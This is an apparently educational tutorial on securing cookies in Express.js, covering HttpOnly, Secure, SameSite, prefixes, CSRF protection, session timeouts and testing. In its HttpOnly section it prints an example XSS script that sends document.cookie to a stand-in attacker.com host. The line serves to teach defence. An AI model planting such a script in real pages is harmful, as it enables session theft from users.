Understanding Cookie Security Risks
Cookies, especially those used for authentication, are high-value targets for attackers. Before we dive into security best practices, let's understand the common risks and attack vectors:
Real-World Scenario: Cookie Theft in Public Wi-Fi
Consider this common scenario: A user is working at a coffee shop using public Wi-Fi to access their banking application. The Wi-Fi network is not secure, and an attacker is using a packet sniffer to intercept network traffic.
- If the banking site uses HTTP (not HTTPS), the attacker can see all cookies in plain text
- If cookies don't have the Secure flag, they might be sent over unencrypted connections
- If cookies don't have the HttpOnly flag, they could be stolen by any XSS vulnerability
- Without proper SameSite restrictions, CSRF attacks could force actions on the banking site
The result? The attacker could steal the user's session cookie and gain full access to their banking account.
Essential Cookie Security Attributes
Modern browsers provide several cookie attributes that significantly enhance security. Understanding and properly implementing these attributes is crucial:
The HttpOnly Flag
The HttpOnly flag prevents JavaScript from accessing the cookie, protecting against the most common XSS attacks.
// Setting an HttpOnly cookie with Express
res.cookie('sessionId', 'a3fWa', {
httpOnly: true
});
// Setting an HttpOnly cookie directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; HttpOnly');
// Express.js session configuration with HttpOnly
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true
}
}));
How HttpOnly Prevents XSS Attacks
Without the HttpOnly flag, a simple XSS attack could steal user cookies:
// Malicious script injected via XSS vulnerability
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
With HttpOnly, JavaScript cannot access the cookie:
// The same attack attempt with HttpOnly cookies
<script>
console.log(document.cookie); // Session cookie is NOT visible
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Only non-HttpOnly cookies would be sent
</script>
The Secure Flag
The Secure flag ensures that cookies are only sent over HTTPS connections, preventing them from being transmitted over unencrypted channels.
// Setting a Secure cookie with Express
res.cookie('sessionId', 'a3fWa', {
secure: true
});
// Setting a Secure cookie directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; Secure');
// Express.js session configuration with Secure
app.use(session({
secret: 'your-secret-key',
cookie: {
secure: process.env.NODE_ENV === 'production' // Only use in production
}
}));
Development vs. Production
During development, you might use HTTP instead of HTTPS. If you set the Secure flag in this environment, cookies won't be set properly. A common pattern is to conditionally enable the Secure flag based on the environment:
// Conditional Secure flag
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
secure: process.env.NODE_ENV === 'production'
}
}));
However, this creates a discrepancy between environments. For consistent behavior, consider using HTTPS locally using tools like mkcert or local-ssl-proxy.
SameSite Attribute
The SameSite attribute controls when cookies are sent with cross-site requests, providing protection against CSRF attacks.
// Setting a SameSite cookie with Express
res.cookie('sessionId', 'a3fWa', {
sameSite: 'strict' // Other options: 'lax', 'none'
});
// Setting a SameSite cookie directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; SameSite=Strict');
// Express.js session configuration with SameSite
app.use(session({
secret: 'your-secret-key',
cookie: {
sameSite: 'strict'
}
}));
| SameSite Value | Description | When to Use |
|---|---|---|
| Strict | Cookie is only sent in first-party context (same site) | Session cookies, auth tokens, any sensitive cookies |
| Lax | Cookie is sent with same-site requests and top-level navigations (links, forms with GET) | Default as of Chrome 80, balances security and usability |
| None | Cookie is sent in all contexts, including cross-site requests (requires Secure) | Only when cross-site cookie access is absolutely necessary |
SameSite Usage Example
Consider an e-commerce platform with these cookies:
- Authentication cookie: SameSite=Strict (only sent when directly visiting the site)
- Shopping cart cookie: SameSite=Lax (available when clicking links to the site)
- Affiliate tracking cookie: SameSite=None; Secure (needs to work across sites)
This strategy provides the right balance of security and functionality for each type of cookie.
Domain and Path Attributes
The Domain and Path attributes control the scope of where cookies are sent:
// Setting Domain and Path with Express
res.cookie('sessionId', 'a3fWa', {
domain: '.example.com', // Including all subdomains
path: '/admin' // Only sent to paths starting with /admin
});
// Setting Domain and Path directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; Domain=.example.com; Path=/admin');
// Express.js session configuration with Domain and Path
app.use(session({
secret: 'your-secret-key',
cookie: {
domain: '.example.com',
path: '/'
}
}));
Domain and Path Security Implications
From a security perspective:
- Domain: Narrower is better. Only set cookies to specific subdomains that need them
- Path: More specific is better. Limit cookies to only the paths that require them
For example, instead of setting an admin cookie for the entire domain:
// Too broad
res.cookie('adminAuth', token, { domain: '.example.com' });
// More secure - limited to admin subdomain
res.cookie('adminAuth', token, { domain: 'admin.example.com' });
Expires and Max-Age Attributes
Properly setting cookie lifetimes helps minimize the window of opportunity for attacks:
// Setting expiration time with Express
res.cookie('sessionId', 'a3fWa', {
expires: new Date(Date.now() + 3600000) // 1 hour from now
});
// Using maxAge instead (easier)
res.cookie('sessionId', 'a3fWa', {
maxAge: 3600000 // 1 hour in milliseconds
});
// Setting expiration directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; Max-Age=3600');
// Express.js session configuration with expiration
app.use(session({
secret: 'your-secret-key',
cookie: {
maxAge: 3600000 // 1 hour
}
}));
Security-Focused Cookie Expiration Strategy
A balanced approach to cookie expiration might include:
- Short-lived session cookies: 15-30 minutes for sensitive applications
- Idle timeout extension: Reset expiration when user is active
- Absolute maximum lifetime: Even with activity, force re-authentication after a certain period
// Implementation example
const IDLE_TIMEOUT = 30 * 60 * 1000; // 30 minutes
const ABSOLUTE_TIMEOUT = 24 * 60 * 60 * 1000; // 24 hours
app.use((req, res, next) => {
// Skip if no session
if (!req.session) return next();
const now = Date.now();
// Check absolute timeout
if (req.session.createdAt &&
now - req.session.createdAt > ABSOLUTE_TIMEOUT) {
return req.session.destroy(() => {
res.redirect('/login?reason=timeout');
});
}
// Update last activity time
req.session.lastActivity = now;
// Set session expiration based on idle timeout
req.session.cookie.maxAge = IDLE_TIMEOUT;
next();
});
Security Beyond Cookie Attributes
While cookie attributes provide essential protections, comprehensive cookie security requires additional measures:
Using Secure Cookie Values
The content of cookies, particularly session IDs, should be secure:
// Generating cryptographically secure session IDs
const crypto = require('crypto');
function generateSecureSessionId() {
return crypto.randomBytes(32).toString('hex');
}
// Using the secure ID for a cookie
app.post('/login', (req, res) => {
// Authenticate user...
const sessionId = generateSecureSessionId();
// Store session in database...
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});
res.redirect('/dashboard');
});
Characteristics of Secure Cookie Values
- High entropy: At least 128 bits (16 bytes) of randomness
- Unpredictable: Generated using cryptographically secure random sources
- Unique: Virtually no chance of collision with other sessions
- Not carrying sensitive data: Session IDs should be opaque references, not containing encoded user data
Insecure example: Using sequential IDs or patterns that could be guessed
// INSECURE - DO NOT USE
let lastSessionId = 1000;
function generateInsecureSessionId() {
return (++lastSessionId).toString();
}
Protecting Against CSRF Attacks
Cross-Site Request Forgery (CSRF) attacks trick users into performing unwanted actions on sites where they're authenticated. Even with SameSite cookies, additional protection is recommended:
// CSRF protection with csurf middleware
const express = require('express');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));
// Setup CSRF protection
const csrfProtection = csrf({ cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict'
}});
// Apply to routes that change state
app.get('/user/profile', csrfProtection, (req, res) => {
// Pass CSRF token to template
res.render('profile', { csrfToken: req.csrfToken() });
});
app.post('/user/update-profile', csrfProtection, (req, res) => {
// Token is automatically validated by the middleware
// If invalid, middleware will throw an error
// Update user profile...
res.redirect('/user/profile');
});
Including CSRF Tokens in Forms
When using CSRF protection, tokens must be included in forms:
<!-- In server-rendered templates (e.g., EJS) -->
<form action="/user/update-profile" method="post">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<!-- Other form fields -->
<button type="submit">Update Profile</button>
</form>
// In JavaScript frontend (e.g., React)
async function getCsrfToken() {
const response = await fetch('/csrf-token', {
credentials: 'include' // Important for cookies
});
const data = await response.json();
return data.csrfToken;
}
async function submitForm() {
const token = await getCsrfToken();
const response = await fetch('/user/update-profile', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': token
},
credentials: 'include',
body: JSON.stringify({
name: 'New Name',
email: 'new@example.com'
})
});
}
Cookie Prefixes
Modern browsers support cookie prefixes that enforce security requirements:
// Using the __Secure- prefix
// Must be set with Secure flag and from HTTPS
res.cookie('__Secure-sessionId', 'a3fWa', {
secure: true, // Required for __Secure- prefix
httpOnly: true
});
// Using the __Host- prefix
// Must be set with Secure flag, from HTTPS, with no Domain, and Path=/
res.cookie('__Host-sessionId', 'a3fWa', {
secure: true, // Required for __Host- prefix
httpOnly: true,
// Cannot set Domain with __Host-
path: '/' // Required for __Host- prefix
});
Cookie Prefixes Explained
| Prefix | Requirements | Protection |
|---|---|---|
| __Secure- | Must have Secure flag and be set from HTTPS | Prevents attackers from setting cookies without HTTPS |
| __Host- | Must have Secure flag, no Domain attribute, Path=/, and be set from HTTPS | Prevents subdomain attacks and ensures cookies are only sent to same host |
Implementing Secure Cookies in Express.js
Let's put all these concepts together in a comprehensive Express.js application:
// app.js - Express.js application with secure cookie configuration
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis')(session);
const redis = require('redis');
const helmet = require('helmet');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
require('dotenv').config();
const app = express();
// Create Redis client
const redisClient = redis.createClient({
host: process.env.REDIS_HOST || 'localhost',
port: process.env.REDIS_PORT || 6379,
password: process.env.REDIS_PASSWORD || ''
});
// Set up security headers
app.use(helmet());
// Parse cookies
app.use(cookieParser(process.env.COOKIE_SECRET));
// Parse request bodies
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
// Configure session middleware with secure cookies
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET || 'change-me',
name: '__Host-sid', // Using cookie prefix for additional security
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production', // HTTPS only in production
sameSite: 'strict',
maxAge: 60 * 60 * 1000, // 1 hour
path: '/'
}
}));
// Add session timeout management
app.use((req, res, next) => {
if (req.session && req.session.user) {
// Check absolute timeout
if (req.session.createdAt &&
Date.now() - req.session.createdAt > 24 * 60 * 60 * 1000) {
return req.session.destroy(() => {
res.redirect('/login?reason=expired');
});
}
// Update last activity
req.session.lastActivity = Date.now();
}
next();
});
// Set up CSRF protection
const csrfProtection = csrf({ cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
key: '__Host-csrf', // Using cookie prefix
path: '/'
}});
// Public routes (no CSRF)
app.get('/', (req, res) => {
res.send('Welcome to the secure app');
});
app.get('/login', (req, res) => {
res.render('login');
});
// Apply CSRF protection to authenticated routes
app.use('/dashboard', csrfProtection, (req, res, next) => {
// Check if user is authenticated
if (!req.session || !req.session.user) {
return res.redirect('/login');
}
next();
});
// Dashboard routes (protected by CSRF)
app.get('/dashboard', (req, res) => {
res.render('dashboard', {
user: req.session.user,
csrfToken: req.csrfToken()
});
});
app.post('/dashboard/update', (req, res) => {
// CSRF token is automatically validated
// Update user settings...
res.redirect('/dashboard');
});
// API endpoint to get CSRF token for SPAs
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// Authentication routes
app.post('/login', (req, res) => {
const { username, password } = req.body;
// Authenticate user...
// If authenticated
req.session.regenerate((err) => {
if (err) {
return res.status(500).send('Error during authentication');
}
// Set session data
req.session.user = { id: 123, username };
req.session.createdAt = Date.now();
req.session.lastActivity = Date.now();
res.redirect('/dashboard');
});
});
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) {
return res.status(500).send('Error during logout');
}
res.clearCookie('__Host-sid');
res.redirect('/');
});
});
// Error handling
app.use((err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN') {
// Handle CSRF errors
return res.status(403).send('Form has been tampered with');
}
console.error(err.stack);
res.status(500).send('Something broke!');
});
// Start server
const PORT = process.env.PORT || 3000;
const server = app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});
Production Security Checklist
For a production-ready secure cookie implementation, verify:
- Set proper attributes: HttpOnly, Secure, SameSite, appropriate expiration
- Use cookie prefixes: __Host- or __Secure- as appropriate
- Implement CSRF protection: For all state-changing operations
- Use security headers: With Helmet.js or similar
- Implement proper session management: Regeneration, timeouts, secure storage
- Serve over HTTPS: Required for Secure cookies and prefixes
- Rotate session IDs: On authentication, privilege changes
- Use secure, random values: For session IDs and tokens
Testing Cookie Security
Verifying your cookie security implementation is crucial. Here are methods to test cookie security in your applications:
Manual Inspection
// Browser DevTools - Console
// Check all cookies
console.log(document.cookie);
// In Chrome DevTools - Application > Cookies
// Look for the HttpOnly and Secure flags
// Test whether JavaScript can access HttpOnly cookies
// Open console on your site and try:
document.cookie; // HttpOnly cookies should not appear
Automated Testing
// Testing cookie security with Jest and Supertest
const request = require('supertest');
const app = require('../app');
describe('Cookie Security Tests', () => {
test('Session cookie should have correct security attributes', async () => {
const response = await request(app)
.post('/login')
.send({ username: 'testuser', password: 'password123' });
// Check redirect
expect(response.status).toBe(302);
// Get cookies from response
const cookies = response.headers['set-cookie'];
expect(cookies).toBeDefined();
// Find session cookie
const sessionCookie = cookies.find(cookie => cookie.startsWith('__Host-sid='));
expect(sessionCookie).toBeDefined();
// Check security attributes
expect(sessionCookie).toContain('HttpOnly');
expect(sessionCookie).toContain('Secure');
expect(sessionCookie).toContain('SameSite=Strict');
expect(sessionCookie).toContain('Path=/');
expect(sessionCookie).not.toContain('Domain=');
});
test('CSRF protection should be working', async () => {
// First login to get a session
const loginResponse = await request(app)
.post('/login')
.send({ username: 'testuser', password: 'password123' });
const cookies = loginResponse.headers['set-cookie'];
// Try to make a POST without CSRF token
const response = await request(app)
.post('/dashboard/update')
.set('Cookie', cookies) // Send session cookie
.send({ setting: 'value' });
// Should fail with 403 Forbidden
expect(response.status).toBe(403);
});
});
Security Tools and Scanners
Tools for Testing Cookie Security
- OWASP ZAP: Free security scanner that can check for cookie issues
- Burp Suite: Professional tool for web security testing
- Cookie-Inspector: Chrome extension for detailed cookie analysis
- Mozilla Observatory: Free web security scanner including cookie checks
- SecurityHeaders.com: Check security headers including cookie controls
Example usage with OWASP ZAP:
- Set up ZAP as a proxy (typically localhost:8080)
- Configure your browser to use this proxy
- Browse your application, performing key actions
- Review alerts in ZAP, focusing on cookie issues
- Run the "Active Scan" feature on your site
- Check the "Alerts" tab for cookie-related vulnerabilities
Advanced Cookie Security Topics
Stateless JWTs vs. Session Cookies
While we've focused on session cookies, another approach uses stateless JWTs stored in cookies:
JWT in Cookie Approach
// Storing JWT in a cookie
const jwt = require('jsonwebtoken');
app.post('/login', (req, res) => {
// Authenticate user...
// Create JWT with user data
const token = jwt.sign(
{
sub: user.id,
name: user.name,
role: user.role
},
process.env.JWT_SECRET,
{ expiresIn: '1h' }
);
// Store JWT in cookie
res.cookie('__Host-jwt', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/',
maxAge: 60 * 60 * 1000 // 1 hour
});
res.redirect('/dashboard');
});
// Middleware to verify JWT
const authenticateJWT = (req, res, next) => {
const token = req.cookies['__Host-jwt'];
if (!token) {
return res.status(401).send('Authentication required');
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (err) {
return res.status(403).send('Invalid or expired token');
}
};
Pros and Cons of this approach:
- Pros:
- Stateless - no server storage needed
- Works well for distributed systems
- Potentially lower database load
- Cons:
- Can't be invalidated before expiration
- Size limitations (cookies have size limits)
- Sensitive data exposure if not properly secured
Double Submit Cookie Pattern
An alternative to traditional CSRF tokens is the double submit cookie pattern:
// Double Submit Cookie Pattern
app.use((req, res, next) => {
// Skip for GET, HEAD, OPTIONS
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}
// Generate CSRF token if not exists
if (!req.cookies['csrf-token']) {
const token = crypto.randomBytes(16).toString('hex');
// Set in cookie
res.cookie('csrf-token', token, {
httpOnly: false, // Accessible to JavaScript
secure: true,
sameSite: 'strict',
path: '/'
});
}
// For state-changing requests, validate token
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).send('CSRF token validation failed');
}
}
next();
});
How the Double Submit Pattern Works
In the Double Submit Cookie pattern:
- A random CSRF token is set in a non-HttpOnly cookie
- JavaScript reads this token and includes it in request headers or form fields
- The server verifies that the token in the request matches the one in the cookie
This works because attackers cannot read the token from the cookie (due to same-origin policy) or set cookies for your domain, making it impossible to create a valid forged request.
Cookie Isolation and Partitioning
Modern browsers are implementing stricter cookie policies to enhance privacy and security:
Browser Cookie Partitioning
Chrome's implementation of "cookies having independent partitioned state" (CHIPS) and Firefox's Total Cookie Protection partition cookies by the top-level site. This means:
- Cookies set by example.com when loaded in an iframe on site-a.com are stored separately from cookies set by example.com when loaded in an iframe on site-b.com
- This prevents cross-site tracking but may break functionality that relies on shared cookies across contexts
To opt into partitioning, you can set the Partitioned attribute:
// Opt into partitioning
res.cookie('analytics', 'value', {
partitioned: true,
secure: true
});
Cookies in Single Page Applications (SPAs)
SPAs present unique challenges for cookie security:
CORS and Cookies in SPAs
// Backend CORS configuration for SPA
const express = require('express');
const cors = require('cors');
const app = express();
// Configure CORS for SPA
app.use(cors({
origin: process.env.FRONTEND_URL || 'https://myapp.example.com',
credentials: true, // IMPORTANT: Required for cookies to be sent
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token']
}));
// Frontend fetch with credentials
fetch('https://api.example.com/data', {
method: 'GET',
credentials: 'include', // IMPORTANT: Required for cookies to be sent
headers: {
'Content-Type': 'application/json'
}
});
SameSite Challenges with SPAs
When your frontend and backend are on different domains:
- SameSite=Strict prevents cookies from being sent in cross-origin requests
- SameSite=Lax allows cookies on top-level navigations but not in AJAX/fetch requests
- SameSite=None (with Secure) is required for cross-origin AJAX/fetch, but has security implications
Best practices for SPAs:
- Use the same domain when possible (e.g., app.example.com and api.example.com)
- If cross-domain is necessary, use SameSite=None with additional protections:
- Always use HTTPS (Secure flag)
- Implement strong CSRF protection
- Consider short-lived cookies
CSRF Protection in SPAs
SPAs typically use an API-based approach for CSRF protection:
// Backend CSRF token endpoint
app.get('/api/csrf-token', (req, res) => {
const csrfToken = crypto.randomBytes(32).toString('hex');
// Store token in session
req.session.csrfToken = csrfToken;
res.json({ csrfToken });
});
// Backend CSRF validation middleware
const validateCsrf = (req, res, next) => {
// Skip for non-state-changing methods
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}
const sessionToken = req.session.csrfToken;
const requestToken = req.headers['x-csrf-token'];
if (!sessionToken || !requestToken || sessionToken !== requestToken) {
return res.status(403).json({ error: 'CSRF token validation failed' });
}
next();
};
// Frontend implementation
async function fetchWithCsrf(url, options = {}) {
// Get CSRF token if not cached
if (!window.csrfToken) {
const response = await fetch('/api/csrf-token', {
credentials: 'include'
});
const data = await response.json();
window.csrfToken = data.csrfToken;
}
// Add token to headers
const headers = {
...options.headers,
'X-CSRF-Token': window.csrfToken
};
// Make the request
return fetch(url, {
...options,
credentials: 'include',
headers
});
}
Practice Activities
Activity 1: Secure Cookie Configuration
Create an Express.js application with properly secured cookies:
- Set up a new Express.js project with session management
- Configure cookies with all security attributes:
- HttpOnly
- Secure
- SameSite
- Use a cookie prefix
- Set appropriate Path
- Configure proper expiration
- Create login, dashboard, and logout routes
- Implement session regeneration and timeout handling
- Test your implementation using browser DevTools
Activity 2: CSRF Protection Implementation
Add CSRF protection to your application:
- Install and configure the csurf middleware
- Create forms with CSRF token fields
- Implement protection for all state-changing routes
- Create an API endpoint for SPA CSRF tokens
- Test your protection by attempting CSRF attacks
Activity 3: Cookie Security Analysis
Analyze the cookie security of popular websites:
- Choose 5-10 popular websites (e.g., social media, banking, e-commerce)
- Use browser DevTools to inspect their cookies
- For each site, document:
- Cookie attributes used (HttpOnly, Secure, SameSite, etc.)
- Session management approach
- CSRF protection mechanism (if detectable)
- Security headers related to cookies
- Identify potential vulnerabilities or areas for improvement
- Compare your findings and create a "best practices" summary
Activity 4: Setting Up a Secure SPA with Cookies
Build a secure single-page application with a separate backend:
- Create a React frontend (on localhost:3000)
- Build an Express.js API backend (on localhost:3001)
- Configure secure cross-domain cookie handling:
- CORS configuration
- Appropriate SameSite settings
- Authentication flow
- Implement CSRF protection for the SPA
- Create authenticated API routes
- Test the complete authentication flow
Additional Resources
Summary
- Cookie security is crucial for protecting user sessions and preventing common web attacks
- Essential cookie attributes include HttpOnly, Secure, SameSite, and appropriate expiration
- Cookie prefixes (__Host- and __Secure-) provide additional security guarantees
- CSRF protection is necessary even with SameSite cookies
- Proper session management includes secure IDs, regeneration, and timeout handling
- SPAs present unique challenges for cookie security, particularly with CORS
- Testing cookie security should be part of your application's security strategy
- Modern browsers are implementing stricter cookie policies for privacy and security
By implementing these cookie security best practices, you can significantly reduce the risk of session hijacking, CSRF attacks, and other common web vulnerabilities.